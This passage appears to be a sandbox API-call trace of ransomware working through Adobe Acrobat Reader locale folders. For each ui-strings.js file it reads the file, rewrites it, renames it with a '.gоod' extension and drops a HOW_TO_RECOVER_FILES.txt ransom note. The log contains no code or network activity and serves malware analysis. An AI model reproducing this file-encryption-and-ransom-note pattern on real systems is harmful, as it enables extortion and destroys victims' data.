ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.338] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0135.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0135.339] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0135.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0135.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0135.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x68 [0135.339] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0135.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0135.340] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0135.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0135.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0135.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37d8368 | out: lpFileInformation=0x37d8368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeb8)) returned 1 [0135.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0135.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0135.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.341] GetFileType (hFile=0x63c) returned 0x1 [0135.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0135.341] GetFileType (hFile=0x63c) returned 0x1 [0135.341] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xeb8 [0135.341] ReadFile (in: hFile=0x63c, lpBuffer=0x37d9588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x37d9588*, lpNumberOfBytesRead=0x1ffeba08*=0xeb8, lpOverlapped=0x0) returned 1 [0135.654] CloseHandle (hObject=0x63c) returned 1 [0135.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0135.683] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.684] GetFileType (hFile=0x63c) returned 0x1 [0135.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0135.684] GetFileType (hFile=0x63c) returned 0x1 [0135.684] WriteFile (in: hFile=0x63c, lpBuffer=0x38dbbf0*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x38dbbf0*, lpNumberOfBytesWritten=0x1ffeb918*=0xec0, lpOverlapped=0x0) returned 1 [0135.684] CloseHandle (hObject=0x63c) returned 1 [0135.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0135.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0135.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4d170165, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xec0)) returned 1 [0135.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0135.685] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0135.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0135.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0135.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0135.686] GetFileType (hFile=0x63c) returned 0x1 [0135.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0135.686] GetFileType (hFile=0x63c) returned 0x1 [0135.687] WriteFile (in: hFile=0x63c, lpBuffer=0x38df460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x38df460*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0135.688] CloseHandle (hObject=0x63c) returned 1 [0135.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0135.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x68 [0135.688] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0136.431] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.431] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0136.431] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.432] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0136.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0136.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0136.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0136.432] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi", lpFilePart=0x0) returned 0x68 [0136.432] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0136.432] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.432] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0136.432] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0136.432] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0136.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0136.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0136.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0136.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0136.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38fd850 | out: lpFileInformation=0x38fd850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0136.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0136.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0136.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0136.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.433] GetFileType (hFile=0x6e4) returned 0x1 [0136.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0136.433] GetFileType (hFile=0x6e4) returned 0x1 [0136.433] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe00 [0136.433] ReadFile (in: hFile=0x6e4, lpBuffer=0x38fe9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x38fe9b8*, lpNumberOfBytesRead=0x1ffeba08*=0xe00, lpOverlapped=0x0) returned 1 [0136.512] CloseHandle (hObject=0x6e4) returned 1 [0136.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0136.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0136.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0136.597] GetFileType (hFile=0x6e4) returned 0x1 [0136.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0136.598] GetFileType (hFile=0x6e4) returned 0x1 [0136.598] WriteFile (in: hFile=0x6e4, lpBuffer=0x38442a0*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x38442a0*, lpNumberOfBytesWritten=0x1ffeb918*=0xe10, lpOverlapped=0x0) returned 1 [0136.599] CloseHandle (hObject=0x6e4) returned 1 [0136.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0136.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0136.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0136.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, 